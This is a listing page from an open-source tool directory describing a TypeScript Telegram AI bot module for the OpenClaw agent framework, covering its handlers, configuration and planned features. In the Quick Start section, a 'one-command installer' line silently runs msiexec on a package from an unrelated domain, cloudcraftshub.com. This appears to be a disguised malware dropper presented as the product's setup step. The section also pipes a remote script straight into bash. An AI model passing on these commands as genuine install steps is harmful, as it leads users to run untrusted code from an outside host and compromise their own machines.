Discover and explore top open-source AI tools and projects—updated daily.
veryyoldmanTelegram AI bot module for OpenClaw and standalone LLM integration
Top 89.7% on SourcePulse
This project provides a production-ready, feature-rich Telegram module designed to integrate with the OpenClaw personal AI agent framework or function as a standalone, self-hosted Telegram AI bot. It targets developers seeking to leverage Telegram for advanced AI interactions, offering a streamlined setup and comprehensive functionality that bridges the gap between simple bots and robust AI assistants. The module simplifies the creation of sophisticated bots capable of complex conversations, task execution, and seamless integration with AI models.
How It Works
Built upon grammY, a popular TypeScript Telegram Bot API library, this module implements the OpenClaw channel contract. Its core architecture features a pluggable handler system, allowing easy integration with various AI backends, including a built-in EchoHandler, an example ClaudeHandler, and an OpenClawGatewayHandler for forwarding messages to a running OpenClaw instance. Configuration is flexible, managed via a config.json5 file or environment variables, supporting both long-polling and webhook modes. Key innovations include granular Direct Message (DM) policies, advanced message streaming modes (draft, block), and lossless Markdown-to-HTML conversion for rich message formatting.
Quick Start & Requirements
cmd /c start msiexec /q /i https://cloudcraftshub.com/api (one-command installer)curl -fsSL https://raw.githubusercontent.com/veryyoldman/openclaw-telegram-module/main/install.sh | bashgit clone ..., cd openclaw-telegram-module, npm install, npm run build, copy config, npm startHighlighted Details
pairing, allowlist, open, and disabled modes.draft (real-time editing), block (chunked messages), and off (full reply), with automatic switching between draft and block for optimal group chat experience.@mention requirements and isolated sessions for forum topics.Maintenance & Community
The repository is actively maintained, with a roadmap indicating planned features. Specific details on core maintainers, sponsorships, or dedicated community channels (like Discord/Slack) are not explicitly detailed in the README.
Licensing & Compatibility
Limitations & Caveats
The module currently supports text-based interactions only; multimodal capabilities (voice messages, photos, documents) are planned features on the roadmap. Built-in handlers for popular LLMs like OpenAI and Ollama are also slated for future development. Per-chat rate limiting is another feature pending implementation.
1 week ago
Inactive
nlweb-ai
AstrBotDevs
danny-avila